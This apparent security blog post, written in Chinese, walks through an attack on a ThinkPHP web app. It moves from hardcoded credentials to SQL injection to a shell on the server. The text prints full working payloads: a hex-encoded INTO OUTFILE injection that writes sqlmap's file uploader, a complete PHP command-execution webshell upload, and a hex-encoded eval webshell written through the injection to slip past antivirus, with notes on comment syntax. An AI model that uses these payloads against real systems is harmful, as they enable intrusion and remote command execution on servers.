Ctrl+D 收藏本站再次访问不迷路 ~

硬编码

拿到目标直接F12搜索关键字，在搜索password时找到两个账户

成功登录账号

sql注入

在后台翻了一下功能点，能用的非常少。打算放弃的时候，发现实验报告中的查看报告功能存在sql注入漏洞。

直接sqlmap验证

注入漏洞无非就是在数据库找找有没有什么敏感信息、多找几个弱口令账户之类的。原本以为到这里就结束了，没想到还有大的。

尝试getshell

无意输错路径发现目标站点是thinkphp搭建的，报错里面泄露了绝对路径。

众所周知sqlmap是可以上传文件getshell的，按照指示输入暴露的绝对路径。

sqlmap成功把上传入口传上去了。

通过上传入口上传木马，访问木马发现被删了。看来对方机器上有防火墙在拦着，但是sqlmap的上传入口文件是怎么传上去的呢，我就纳闷了，抓包看看。

分析sqlmap

输入绝对路径后sqlmap共执行了7条记录。

第一条是正常的，直接从第二条开始看，数据包：

GET /sudaweb/index.php/User/getExperimentData?sy_id=-1250%29%20OR%205997%3D5997%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27C%3A%2Fwamp%2Fwww%2Fsudaweb%2Ftmpuumap.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d433a5c5c77616d705c5c7777775c5c737564617765625c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20- HTTP/1.1
Host: 127.0.0.1
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=hickr1ea0g9kck24flm03h1uk0
Connection: keep-alive

因为我给他的绝对路径是：C:\wamp\www\sudaweb\，所以sqlmap就在C:/wamp/www/sudaweb/路径下创建名为tmpuumap.php的文件，这时上传入口已成功上传上去。

原始内容

解码内容

3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d433a5c5c77616d705c5c7777775c5c737564617765625c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a

<?phpif (isset($_REQUEST[&quot;upload&quot;])) {$dir = $_REQUEST["uploadDir"];
if (phpversion() &lt; &#039;4.1.0&#039;) {$file = $HTTP_POST_FILES[&quot;file&quot;][&quot;name&quot;];
    @move_uploaded_file($HTTP_POST_FILES[&quot;file&quot;][&quot;tmp_name&quot;], $dir . &quot;/&quot; . $file) or die();
} else {$file = $_FILES[&quot;file&quot;][&quot;name&quot;];
    @move_uploaded_file($_FILES[&quot;file&quot;][&quot;tmp_name&quot;], $dir . &quot;/&quot; . $file) or die();
}
@chmod($dir . &quot;/&quot; . $file, 0755);
echo &quot;File uploaded&quot;;
} else {echo "<form action=\&quot;" . $_SERVER["PHP_SELF"] . "\&quot; method=POST enctype=multipart/form-data>
&lt;input type=hidden name=MAX_FILE_SIZE value=1000000000&gt;
&lt;b&gt;sqlmap file uploader&lt;/b&gt;&lt;br&gt;
&lt;input name=file type=file&gt;&lt;br&gt;
to directory: &lt;input type=text name=uploadDir value=C:\\wamp\\www\\sudaweb\\&gt;
&lt;input type=submit name=upload value=upload&gt;
&lt;/form&gt;&quot;;}
?>

3到5的数据包是sqlmap在逐层请求tmpuumap.php文件，最终在sudaweb文件夹下找到tmpuumap.php文件

然后再通过tmpuumap.php上传入口上传名为tmpbbdpo.php的木马文件

POST /sudaweb/tmpuumap.php?sy_id=1650 HTTP/1.1
Content-Type: multipart/form-data; boundary=decf9e0125ca4d089e0aee22a5567019
Content-Length: 1253
Host: 127.0.0.1
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=hickr1ea0g9kck24flm03h1uk0
Connection: keep-alive

--decf9e0125ca4d089e0aee22a5567019
Content-Disposition: form-data; name="upload"

1
--decf9e0125ca4d089e0aee22a5567019
Content-Disposition: form-data; name="uploadDir"

C:\wamp\www\sudaweb\
--decf9e0125ca4d089e0aee22a5567019
Content-Disposition: form-data; name="file"; filename="tmpbbdpo.php"
Content-Type: application/x-httpd-php

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>
--decf9e0125ca4d089e0aee22a5567019--

接着通过tmpbbdpo.php木马执行测试命令，并成功打印目标信息。

通过tmpbbdpo.php文件尝试执行whoami、ipconfig发现都会被拦截，且无法通过工具连接该shell。测试执行dir命令时却能够返回信息。

成功getshell

后续做了好几个木马，通过上传入口传上去立马就被杀。转念一想，sqlmap通过内容编码就可以把文件传上去，那我把木马编码后再传上去试试。

木马原始内容

编码后内容

完整请求体

<?php @eval($_POST['1']);?>

3C3F70687020406576616C28245F504F53545B2731275D293B3F3E

GET /sudaweb/index.php/User/getExperimentData?sy_id=-1250%29%20OR%205997%3D5997%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27C%3A%2Fwamp%2Fwww%2Fsudaweb%2F1.php%27%20LINES%20TERMINATED%20BY%200x3C3F70687020406576616C28245F504F53545B2731275D293B3F3E--%20- HTTP/1.1

Host: 127.0.0.1 X-Requested-With: XMLHttpRequest Accept-Language: zh-CN,zh;q=0.9 Accept: application/json, text/javascript, /; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Cookie: PHPSESSID=hickr1ea0g9kck24flm03h1uk0 Connection: keep-alive

成功getshell

在构造请求体时有个坑，发现不能直接把十六进制填写进去，了解了一下才知道是因为MySQL语法解析和注释符造成的。

第一条MySQL解析时LINES TERMINATED BY后面需要一个字符串常量。如果0x3C...被识别为十六进制字符串，SQL语句到这里就完整了。但有些MySQL版本或配置会认为语句不完整，没有--注释符，后续URL参数可能被附加到SQL末尾，导致语法错误。
还有就是URL编码问题，第一个payload在0x3C3F...后面没有编码空格，而实际上浏览器或者服务器可能会把末尾空格截断，将0x3C3F...后的内容视为新参数，导致执行错误无法写入文件。

-1250) OR 5997=5997 LIMIT 0,1 INTO OUTFILE 'C:/wamp/www/sudaweb/2.php' LINES TERMINATED BY 0x3C3F70687020406576616C28245F504F53545B2731275D293B3F3E

第二条是因为-- -是MySQL注释符。-- 表示注释开始， -是注释内容。
主要作用就是忽略后面所有内容，包括URL可能附加的额外参数。如果URL末尾有额外字符，也会被注释掉。MySQL只解析到--之前，所以第二条符合规范，能够写入文件。

-1250) OR 5997=5997 LIMIT 0,1 INTO OUTFILE 'C:/wamp/www/sudaweb/1.php' LINES TERMINATED BY 0x3C3F70687020406576616C28245F504F53545B2731275D293B3F3E-- -

文章版权归作者所有，未经允许请勿转载。

THE END